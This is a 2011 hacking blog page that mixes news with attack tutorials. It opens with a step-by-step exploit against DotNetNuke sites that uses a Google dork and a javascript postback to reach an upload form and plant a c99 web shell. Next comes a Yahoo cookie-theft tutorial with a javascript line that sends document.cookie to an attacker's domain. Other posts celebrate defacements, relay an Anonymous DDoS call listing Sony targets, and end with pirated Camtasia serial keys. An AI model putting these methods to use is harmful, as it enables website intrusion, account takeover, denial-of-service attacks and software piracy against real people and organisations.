Learn New Things

Wednesday, 6 April 2011

Protal Hacking (DNN) - Website Hacking Technique Explaind !

Hello frnds, One more hacking method called "Portal Hacking (DNN)". This method also uses google search to find hackable sites.. Now you can imagine that how much google.com is important for Hackers also...

Lets start the tutorials...

Step 1 :http://www.google.com

Step 2:Now enter this dork

:inurl:/tabid/36/language/en-US/Default.aspx

this is a dork to find the Portal Vulnerable sites, use it wisely.

Step 3:
you will find many sites, Select the site which you are comfortable with.

Step 4:
For example take this site.
Example: http://www.abc.com/Home/tabid/36/Lan...S/Default.aspx

Step 5: Now replace

/Home/tabid/36/Language/en-US/Default.aspx

with this

/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Step 6:You will get a Link Gallary page.So far so good!

Step 7: Dont do anything for now,wait for the next step...

Step 8:Now replace the URL in the address bar with a Simple Script

javascript:__doPostBack('ctlURL$cmdUpload','')

Step 9:You will Find the Upload Option

Step 10:
Select Root

Step 11:
Upload your package Your Shell c99,c100 etc etc

Hope all of like my articles... Please comment !

Hack Yahoo Accounts with Session ID's or Session Cookies !

Hello Friends, This is an Guest post By Mr. Aneesh M. Makker admin of http://www.explorehacking.com/ on "Hack Yahoo accounts with Session IDs or session cookies".

What are session IDs or session cookies ?
Talking in simple language, whenever we sign into an account it generates a unique piece of string. One copy is saved on server and other in our browser as cookie. Both are matched every time we do anything in our account. This piece of string or login session is destroyed when we click on 'Sign Out' option.

Just login to yahoo.com. Type in browser javascript:alert(document.cookie);
You would get a pop up box showing you the cookies. Now login to your account and do same thing, you would see more elements added to the cookies. These represent sessions ids .

Note: By saying , stealing sessions or stealing cookies, I mean the same thing. Sessions are stored in our browser in form of cookies.

An attacker can steal that session by convincing victim to run a piece of code in browser. Attacker can use that stolen session to login into victim's account without providing any username/password. This attack is very uncommon because when the victim clicks 'Sign out' , session gets destroyed and attacker too also gets signed out.

But in case of yahoo, its not the same.The attacker doesnt get signed out when victim clicks 'Sign out'. Though the session automatically gets destroyed after 24hrs by yahoo. But when user simply refreshes the windows in yahoo account, he gets sessions for next 24 hrs. This means, once the yahoo account session is stolen , attacker can access the account for life time by refreshing window in every 24hrs. I am not actually sure whether its 24 or 48 hrs.

Requirement: Download some files from here
http://www.ziddu.com/downloadlink/13712247/cookiestealer.rar

Tutorial to steal session IDs :-
1. Sign Up for an account at any free webhosting site. I have chosen my3gb.com.

2. Login to your account and go to file manager. Upload the four files that you have just downloaded.
Make a new directory 'cookies' here.

3. Give this code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'
javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie));
He would again redirected to his yahoo account.

4. Open the hacked.php . The password is 'explore'.

You must have got the username of victim's account. Simply Click on it and it would take you to inbox of victim's yahoo account without asking for any password.

Now it doesn't matter if victim signs out from his account, you would remain logged into it.

Note: You can try this attack by using two browsers. Sign into yahoo account in one browser and run the code. Then sign in through other browser using stolen session.

Thank you for reading this Article.
Rohit

Bihar Cricket Council website hacked by ZCompany Hacking Crew !

Bihar Cricket Council website hacked by ZCompany Hacking Crew !

Statement given by Hacker "- Recently a indian hacker called Angel aka 4d0r4bl3 defaced a pakistani government site sending a warning message to ZHC & TeaMp0isoN, our reply:
- We Deface for a reason, our reason for defacing is to raise awareness of issues in the world, our main focus is palestine & kashmir - we have no time for silly little "cyber-wars" go ask some PCA kids to play with you -".

Hacked site Link : http://biharcricket.com/
Mirror Link : http://zone-h.com/mirror/id/13033297

Email & Bank Account of DIRECTOR,Indian Ministry of Communications & IT Hacked by Zcompany Hacking Crew !

Last Night (24 March,2011) we (The Hacker News) got an email from id of Amar Singh Meena,DIRECTOR (T)TEC, Ministry of Communications & IT. But this email was sent by a Hacker from his email id having codename "Hard Hunter" from Zcompany Hacking Crew. Zcompany Hacking Crew or ZHC Hack for reason to raise awareness of the issues in the world with a main focus on Kashmir & Palestine. Now they have access to Personal Email ID of Mr. Amar Singh Meena and also have his ICICI Bank details.

Even Today 1389 Indian websites defaced/Hacked By ZCompany Hacking Crew & TeaMp0isoN : Read Here

How ZHC hack into Email :
Hard Hunter [ZHC] had a access to a Online Store where he found email of Amar Singh, they hack logged into his email and then went for his ICICI details.

Message From ZHC :
As in above image, The email send us (The Hacker News) from hacked email , they said that :

Hello Hackers News,
This is not A.S meena himself but its me Hard Hunter from Zcompany
Hacking Crew.We want to show this that we've successfully hacked into
the Director's email and got his bank account details and etc.We're
going to show those documents soon

Regards
Hard Hunter[ZHC]

They Have told that, they will public all his Bank and Email data details soon !

Proof Of Hack :
Here some Screenshots send us By ZHC as the Proof of Hack :
1.) Reliance share hold Email

2.) Email Related to National Securities Depository Limited

3.) ICICI Bank Account Details / Account Successfully Accessed

India's CBI plans to send teams to US, Europe to trace hackers !

Against the backdrop of the attack on its website by "Pakistan Cyber Army", the CBI is considering to send its team to the US and Europe to trace hackers involved in the defacement.

Sources said the agency officials have pin-pointed three Internet Protocol (IP) address -- a unique numerical label borne by each computer in a network that use worldwide web for communications -- two originated from Seattle, Pennsylvania in the US and other in Daugavpils, Latvia in northern Europe.

They said the agency has moved a local court here seeking permission to access authorities in the US and Latvia for collecting information on the IP addresses.

The CBI had on December 4 last year registered a case against unknown persons of "Pakistani Cyber Army" for hacking and defacement of its website under various Sections of Information Technology Act.

Indian needs Hacker in 2011 !

When other 12-year-olds spend the day playing or watching films, Shantanu Gowde has been in the news for spending time with IT professionals twice his age. India's youngest hacker, Shantanu was just three years old when he used the computer to make PowerPoint presentations, slideshows and birthday cards for friends. Now, he has 'ethically' hacked into websites of over 50 corporate houses and individuals and gives regular security tips to a Mumbai IT firm.

Worried over increasing piracy and leaks of movie trailers and posters, film-makers and production companies have turned to experts who can take down the offending websites. Girish Kumar, managing director of Aiplex Software has provided online anti-piracy solutions to over 50 Bollywood films including My Name is Khan, Housefull and Peepli Live and big banners like UTV, Eros and Yashraj Films. He says, "Most production houses are aware of the fact that online piracy is a real threat. Often, copyright notices do the trick. With sites that offer 'torrents' of movie downloads, we flood it with fake links or direct the website address away from the actual page."

In 2010, hackers made news several times, for instance, when Future Group's flagship ecommerce portal stopped functioning for two days after an attack, investigation agency CBI's portal was hacked by programmers who identified themselves as "Cyber Pakistani army". Rajya Sabha member and industrialist Vijay Mallya's personal website too was allegedly broken into by Pakistani hackers. The US Army website also stopped functioning for a day after being hacked. Social messaging service Twitter also shutdown for hours, while Facebook experienced intermittent access problems after such attacks.

Explains security evangelist Rohit Srivastava, "A hacker's job is to help the company find and plug loopholes in the system. Companies hire us to build a team of inhouse security which develops software and systems that are hacking-proof." Rohit is the founder of Hack-Club, a first for hackers in India, to increase security awareness among the general public.

As the unconventional skill gains credibility, more and more people are opting for it as a career. Says Sheetal Kapoor, who has done a post-graduate diploma course in ethical hacking and cyber security, "I have worked as a cyber security consultant with MNCs and on certain government projects. Companies are increasingly concerned about the security of their websites."

Over the years, hackers have perfected innovative ways to crack into protections built into a computer operating system. Wellknown hacker Ankit Fadia began by experimenting with his home computer at the age of 12 and in two years, wrote his first book on the subject. Ankit claims he was consulted by an intelligence agency for breaking an encrypted message that was believed to have been sent by one of Osama Bin Laden's men. Today, he is a security consultant for several MNCs and even hosts a show on a popular youth channel. He says, "I was attracted to the power of being able to do something most people could not, that's how my love for hacking began. Now, I have been able to convert my hobby into a profession as well."

Ankit adds, "As the reach of the Internet spreads, the challenges that organizations, whether government, semigovernment or private, face is enormous. New vulnerabilities are discovered daily and can expose the information network to unwanted elements."

A much abused word, "hacker" originally meant "clever programmer ". Hackers stunned the world when WikiLeaks supporters unitedly brought down the Swedish government's website along with those of Paypal and Master - Card. In fact, the world - wide web was discovered by hacker Timothy J. Berners-Lee, who was caught hacking and banned from using his university's computer. Hacker Steven Gary Wozniak invented the Apple I, one of the first microcomputers. He and Steve Jobs assembled the first prototypes in Job's garage. The software was coded mostly by Wozniak.

Among the country's best ethical hackers, Sunny Vaghela e-mail account was hacked when he was 16. And the curiosity to catch the hacker motivated him to become a professional himself. ''I hacked into major government and private websites and later sent them a note, suggesting possible solutions,'' he says.

Sunny, whose technical advice was accepted and adopted by Google's social networking website Orkut, when he pointed out loopholes to its administrators, explains, "A professional hacker can earn more than a regular IT professional. In the last six months, nearly 4.5 lakh sites were hacked, and last year, around 2.5 lakhs were hacked. Antivirus and firewalls are not enough to protect your data." Dinesh Pillai, CEO Mahindra SSG and his team of "ethical hackers" believe that every company needs trained hands to implement security risk management systems. "The demand for this skill is going to go up as companies realize the need to protect business and brand value."

Hackers Changes Millions of Passwords to "password" !

Hackers Changes Millions of Passwords to "password" !

Passwords from over 3,000,000 user accounts were apparently set to "password" late last night in a wide-spread hack that affected hundreds of news, retail and Web 2.0 sites. Most affected users are completely unaware of the attack.

According to current statistics, 62% of affected users would not notice such a change as their password was already "password".

Several sites have reported that they are taking steps to protect compromised accounts. In addition, many sites are creating a new rule to ban using the word "password" as a password.

Users are reacting fiercely to the hack but even more so to the ban many sites are putting on one of the world's most popular passwords. Online riots are to be expected.

The hacker group named "Obvious" has claimed credit for last evening's attack. Thousands of hacked Twitter and Facebook accounts posted the message "We are all Obvious! Don't Expect Us".

A 1.9 GB file containing more than 3,000,000 user names — and one password — is now available for download as a torrent file via The Pirate Bay.

To avoid problems like this in the future, we are recommending users to change their password everywhere to "password1", which is obviously more secure.

MumbaiITPro User Group Hacked by TriCk [TeaMp0isoN]

MumbaiITPro User Group is an online technical community initiative for the IT Professionals. They are supported by Global IT Community Association (GITCA) and Microsoft Corporation.

Hacked site : http://mumbaiitpro.org/
Mirror : http://mirror.sec-t.net/defacements/?id=7039

Tuesday, 5 April 2011

Multiple vulnerabilities in IBM Tivoli Directory Server !

Multiple vulnerabilities in IBM Tivoli Directory Server

Multiple vulnerabilities have been reported in IBM Tivoli Directory Server, which can be exploited by malicious users to disclose sensitive information and by malicious people to cause a Denial of Service and compromise a vulnerable system, according to Secunia.

1. The application bundles a vulnerable version of IBM Java.
2. An error within ibmslapd.exe when processing certain requests can be exploited to cause a stack-based buffer overflow.
Successful exploitation of this vulnerability may allow execution of arbitrary code.
3. The TDS proxy server stores the user's password in cleartext in the audit log when the backend server is configured to audit extended operations.

The vulnerabilities are reported in versions 6.1, 6.2, and 6.3.

Monday, 4 April 2011

The Hindi Times Hacked by TriCk & RoCk - ZHC & TeaMp0isoN

Site: http://www.thehinditimes.com/

Mirror: http://zone-h.org/mirror/id/13410390

Sunday, 3 April 2011

Innobuzz (Ethical Hacking Training Institute) hacked BY Hacker's Union !

Innobuzz (Ethical Hacking Training Institute) hacked BY Hackers' Union

Hacked site : http://www.innobuzz.in/

Update : The site was self Defaced by Innobuzz for making April Fool to all ;-) But really,People dnt get shocked, even they laugh on Innobuzz !! Question on security of Ethical Hacking
Training Institute ?? Guys take care , keep difference b/w profession and Fun , One Wrong impression

Anonymous takes down Sony Pictures US and UK sites !

Anonymous successfully taken down http://www.sonypictures.com/ and http://www.sonypictures.co.uk

The Sony PS3 console was "hacked" or more appropriately, jail broken, by iPhone hacker, Geohot. Anonymous managed to reverse engineer his own PlayStation 3 to run home brew applications on it.And then later released the method to the public, through his site, geohot.com

Sony hit Anonymous with a lawsuit and demanded social media sites, including YouTube to hand over IP addresses of people who visited Geohot's social pages/videos.Pay pal have granted access to Sony for them to view Geohot's Pay Pal account. The judge of the case has given permission to Sony to view the IP addresses of everyone who visited geohot.com Sony are also after another group of hackers for the same case.

The PS3 hack which GeoHot released can be compared to the "unlocking" of a phone. i.e. Once you purchase the phone, it's yours, you can do whatever it is you want with it.

Lawsuit Timeline:

January 11, 2011 - Sony sues GeoHot and others, on 8 claims, including violation of the DMCA, computer fraud, and copyright infringement.

January 27, 2011 - Sony's request for a temporary restraining order (TRO) was granted by the US District Court for the Northern District of California. This forbade him from distributing the jailbreak, helping or encouraging others to jailbreak, and distributing information they've learned during the creation of the jailbreak. It also ordered him to turn over computers and storage media used in the creation of the jailbreak to Sony's lawyers.

March 6, 2011 - The court issued an approval that Sony's lawyers were allowed access to all the IP addresses of all the people who visited geohot's blog

Lawsuit Claims:

Violating the Digital Millennium Copyright Act
Violating the Computer Fraud and Abuse Act
Contributory copyright infringement
Violating California Comprehensive Computer Data Access and Fraud Act
Breach of Contract (related to the PlayStation Network User Agreement)
Tortuous interference
Misappropriation
Trespass

What needs to be done and why:
Anonymous can not, and will not allow Sony to censor information. If anyone purchase something, it is ours, anyone can do what anyone like with it. GeoHot specifically jailbroke the PS3 to enable the use of homebrew applications, piracy was not possible with GeoHot's exploit, not that it would matter anyway.

It is the duty of Anonymous to help out this young lad, and to protest against Sony's censorship. The objective of this operation is to DDoS Sony's websites, as a form of protest. We need media outlets to comment on these DDoS's and why they're taking place. Taking down Sony sites will create a shitstorm of news reports.

Remember, prevention is the best cure. If companies can get away with doing this today, imagine what they'll be able to do in the future. It's better to be pissed OFF, than pissed ON.

1.) jailbreaking the iphone is legal, and a challenge to the court was rejected
2.) the xbox360 modder case was also dismissed, and both geohot and 360 modder are charged with the same "crime," a violation of the DMCA that is questionable at best.
3.) Geohot is in CIVIL court, not criminal court
4.) the judge is trying to move the trial from new jersey, where geohot lives, to California, where Sony knows there are more right leaning judges to hear the case
5.) geohots mod only re-enabled the option to install Linux, a feature that was present when the system was purchased.
6.) geohot never signed into the PlayStation network with his PS3, and never agreed to the terms of service that changed AFTER he already purchased the system

Where do Anonymous start?
Sony is a very hard target to DDoS, and due to the current firepower we have, we cannot take out their bigger sites. Luckily for Anonymous, Sony have many other smaller sites. DDoS'ing each of these will attract a lot of attention and more users to the network. For each site Anonymous take down of theirs, our firepower will increase.
When Anonymous have hundreds in the hive, Anonymous will go for the massive targets.

Targets:
1. www.sonypictures.co.uk
2. www.sony-europe.com
3. http://www.sonypictures.com/

NOTE: Anonymous Don't know if this has been brought to attention before, but as yet another form of censorship, Sony's Blue ray player in the PS3 now mutes the audio of any burned CD/DVD, meaning when you watch a movie... about 20 mins in, the audio will Mute and a message will come up saying it has been muted due to copyright laws.

This ties in to operation Payback and I think it should be brought to attention. May help get people in the hive.

Friday, 1 April 2011

Indian Institute bansal IIT-JEE Hacked, Student Database Leaked By Cyb3R_Shubh4M

Hacked Site : http://bansaliitjee.com/

Student Database Leaked, Downlaod : [Link Removed For Safety]

Fake 'Walk and Test' App steals Android user data!

Android users who download a pirated copy of the Walk and Text app are strolling smack into trouble.

The rogue app, called Android. Walkinwat, is a corrupted version of the legitimate Android Walk and Text app, the security firm Symantec reported. Walk and Text, which can be found in many third-party app stores in North America and China, uses a smartphone’s camera to show users what’s in front of them as they’re walking and texting.

Once Walkinwat is downloaded, a dialogue box appears on the user’s phone that, according to Symantec, “gives the appearance that the app is in the process of being compromised or cracked, when, in fact, the app is gathering and attempting to send back sensitive data (name, phone number, IMEI information, etc.) to an external server.”

This is far from the first instance of a corrupted Android app that harvests user data; in early March, a rogue piece of software called DroidDream was found in 58 apps, which were downloaded more than 200,000 times before being removed from the Android App Market.

But Walkinwat adds a personal twist to the typical smartphone scam. It seems whoever orchestrated the bad app to steal your data has an anti-piracy agenda of his own.

While it’s installing, the Wakinwat app sends out a text message to everyone in the victim’s contact list that reads: “Hey, just downloaded a pirated App off the Internet, Walk and Text for Android. Im stupid and cheap, it costed only 1 buck. Don’t steal like I did!”

A follow-up message reads, “We really hope you learned something from this. Check your phone bill;) Oh and don’t forget to buy the App from the Market.”

Symantec said this is the first case in which a corrupted mobile application was used to scold people for piracy.

IEEE members databade hacked !

A hacker stole the credit card details of over 800 members of the IEEE (Institute of Electrical and Electronics Engineers) last December, according to its law firm.

A team of IEEE-appointed forensic investigators “concluded that a file containing customer credit card information had been deleted on or about November 17, 2010”, the institute's law firm told the Attorney General of New Hampshire in February [pdf].

The forensic team believed that 828 members’ credit card numbers, associated names, expiration dates and security numbers may have been accessed. It discovered “certain vulnerabilities in the system”, but the IEEE had no proof that the exposed credit cards had been used to make fraudulant transactions, according to the letter.

Thursday, 31 March 2011

Facebook Web Search Box May Be Dangerous

Facebook users be warned: If you see a second search box at the top of your personal page, don’t use it.

“We are not testing the placement of a separate Web search field and have no plans to do so,” a Facebook representative told the blog Search Engine Land. An image of a Facebook page with two search boxes has been making its way around the Internet for the past few days.

In the image, the standard box that lets you search Facebook is visible at the top of the page, but just to the right of it is another search box reading “Search the Web.”

Some tech news sites and blogs speculated that Facebook was testing out its own search engine, perhaps to challenge Google or to partner with a Google competitor such as Blekko or Microsoft’s Bing.

The Facebook representative, however, said it’s likely a hack.

“We believe the second search field or ‘Search the Web’ box appeared on people’s accounts as the result of unknown actions by a third party targeting the browser (potentially a browser plugin or malware) unrelated to Facebook,” he or she told Search Engine Land.

Or, as the TechCrunch blog said, it could just as easily be a Photoshop hoax.

Wednesday, 30 March 2011

20 pakistan sites defaced by APH

The Ten Biggest Cyber Security Threats for 2011 !

PandaLabs, the antimalware laboratory of Panda Security, the cloud security company, has forecasted several radical innovations in cyber-crime for 2011. Hacktivism and cyber-war; more profit-oriented malware; social media; social engineering and malicious codes with the ability to adapt to avoid detection will be the main threats in the coming year. There will also be an increase in the threats to Mac users, new efforts to attack 64-bit systems and zero-day exploits.

Following is a summary of what PandaLabs predicts as the ten major security trends of 2011:

1.	Malware creation: In 2010, PandaLabs witnessed significant growth in the amount of malware and discovered at least 20 million new strains, more than in 2009. At present, Panda’s Collective Intelligence database stores a total of more than 60 million classified threats. The actual rate of growth year-on-year however, appears to have peaked. Several years ago it was over 100 percent and in 2010 it was 50 percent.

2.	Cyber war: Stuxnet and the WikiLeaks cables suggesting the involvement of the Chinese government in the cyber-attacks on Google and other targets have marked a turning point in the history of these conflicts. Stuxnet was an attempt to interfere with processes in nuclear plants, specifically, with uranium centrifuge. Attacks such as these, albeit more or less sophisticated, are still ongoing, and will undoubtedly increase in 2011, even though many of them will go unnoticed by the general public.

3.	Cyber-protests: Cyber-protests , or hacktivism, are all the rage and will continue to grow in frequency. This new movement was initiated by the Anonymous group and Operation Payback, targeting organizations trying to close the net on Internet piracy, and later in support of Julian Assange, editor-in-chief of WikiLeaks. Even users with limited technical know-how can join in the distributed denial of service attacks (DDoS) or spam campaigns.

	Despite hasty attempts in many countries to pass legislation to counter this type of activity effectively by criminalizing it, PandaLabs believes that in 2011 there will be more cyber-protests, organized by this group or others that will begin to emerge.

4.	Social engineering: Cyber-criminals have found social media sites to be their perfect working environment, as users are even more trusting with these than with other types of tools, such as email.

	Throughout 2010, PandaLabs witnessed various attacks that used the two most popular social networks – Facebook and Twitter – as launching pads. In 2011, not only will hackers continue to use these networks, but it is predicted that they will also be used more for distributed attacks.

	BlackHat SEO attacks (indexing and positioning of fake websites in search engines) will also be widely employed throughout 2011, as always, taking advantage of hot topics to reach as many users as possible. In addition, a significant amount of malware will be disguised as plug-ins, media players and other similar applications.

5.	Windows 7 influencing malware development: It will take at least two years before there is a proliferation of threats designed specifically for Windows 7. In 2010, PandaLabs began seeing a shift in this direction, and predicts that in 2011, new cases of malware targeting users of this new operating system will continue to emerge.

6.	Mobile phones: In 2011 there will be new attacks on mobile phones, but it will not be on a massive scale. Most of the existing threats target devices with Symbian, an operating system which is now on the wane. Of the emerging systems, PandaLabs predicts that the threats for Android will increase considerably throughout the year, becoming the number one mobile target for cyber-crooks.

7.	Tablets: The dominance of the iPad will start to be challenged by new competitors entering the market. Therefore PandaLabs does not believe that tablet PCs will become a major consideration for the cyber-criminals in 2011.

8.	Mac: Malware for Mac exists, and will continue to exist. And as the market share of Mac users continues to grow, the number of threats will grow. The greatest concern is the number of security holes in the Apple operating system. Developers will need to patch these holes as soon as possible, as hackers are well aware of the possibilities that these vulnerabilities offer for propagating malware.

9.	HTML5: HTML5 is the perfect target for many types of criminals and could eventually replace Flash. It can be run by browsers without any plug-ins, making it even more attractive to find a security hole that can be exploited to attack users regardless of which browser they use. PandaLabs expects to see the first attacks on HTML5 in the coming months.

10.	Highly dynamic and encrypted threats: PandaLabs expects dynamic and encrypted threats to increase in 2011. PandaLabs is receiving more and more encrypted, stealth threats designed to connect to a server and update themselves before security companies can detect them. There are also more threats that target specific users, particularly companies, as information stolen from businesses will fetch a higher price on the black market.

NASA’ Computer Have Potentially Catastrophic Security Holes !

NASA’s internal computer network is full of holes and is extremely vulnerable to an external cyberattack, an audit by the Office of the Inspector General has found. Even worse, it appears several of the vulnerabilities have been known for months, yet remained unpatched.

“Six computer servers associated with IT [information technology] assets that control spacecraft and contain critical data had vulnerabilities that would allow a remote attacker to take control of or render them unavailable,” the audit report released today (March 28) by Inspector General Paul K. Martin said.

“The attacker could use the compromised computers to exploit other weaknesses we identified, a situation that could severely degrade or cripple NASA’s operations,” the report continued. “We also found network servers that revealed encryption keys, encrypted passwords, and user account information to potential attackers.”

It is not unusual for previously unknown network security holes to be found in large organizations. In that light, Martin’s audit might have been seen as positive for revealing the vulnerabilities.

But it’s long been known that security on NASA networks is weak. Martin’s office released a previous audit report nearly a year ago, and since then nothing has been done to remedy the situation.

“In a May 2010 audit report, we recommended that NASA immediately establish an IT security oversight program for this key network,” today’s report reads. “However, even though the Agency concurred with the recommendation it remained unimplemented as of February 2011.”

“Until NASA addresses these critical deficiencies and improves its IT security practices,” it goes on to say, “the Agency is vulnerable to computer incidents that could have a severe to catastrophic effect on Agency assets, operations, and personnel.”

A Government Accountability Office report in October 2009 was similarly critical of the agency, finding that “NASA has not yet fully implemented key activities of its information security program to ensure that controls are appropriately designed and operating effectively.”

NASA’s servers have been broken into many times in the past. Martin’s new report mentions two serious breaches in 2009, during one of which intruders stole “22 gigabytes of export-restricted data from a Jet Propulsion Laboratory (JPL) computer system.”

British hacker Gary McKinnon is awaiting extradition to the U.S. for allegedly hacking into NASA’s networks, as well as those of the Department of Defense, in 2001 and 2002.

Martin’s office recommends that NASA “expedite implementation of our May 2010 recommendation to establish an IT security oversight program for NASA’s Agency-wide mission network.”

You can read the full report : http://oig.nasa.gov/audits/reports/FY11/IG-11-017.pdf

Camtasia Studio 7 + Serial Keys

Camtasia Studio 7 + Serial Keys

Hello! i'll Show You How To Get Camtasia Studio 7! The Best Screen & Adiou Capture! Free of Cost

1.Start Off By Downloading Camtasia Studio 7 Here (http://www.techsmith.com/download/camtasia/) & Enter Your Fake Or Real E-Mail, I Used A Fake One.
...
2. When You've Downloaded It, Install & Untick The Box "Run When Installed".

3. Alright, Now Once You've Installed It, Open It & Register With One Of The Following Serial Codes:
--///---
single user licenses:

C2CCW-AMCC2-C7CCC-4KFNG-4R4D5
--==--
Multi users licenses :

NWC2S-AC5WC-F869J-MFX7A-ACBMD

Academic user licenses :

5WCY8-GRFFD-992CK-L4V8H-86CDA

4. Once You've Registered It, Now You Can Record And Put It On Youtube In HD Quality! And The Finished Recording File Is In A Low Size, Like This 5 Minute Recorded Movie:

5. Enjoy Your New Screen & Audio Recorder!See More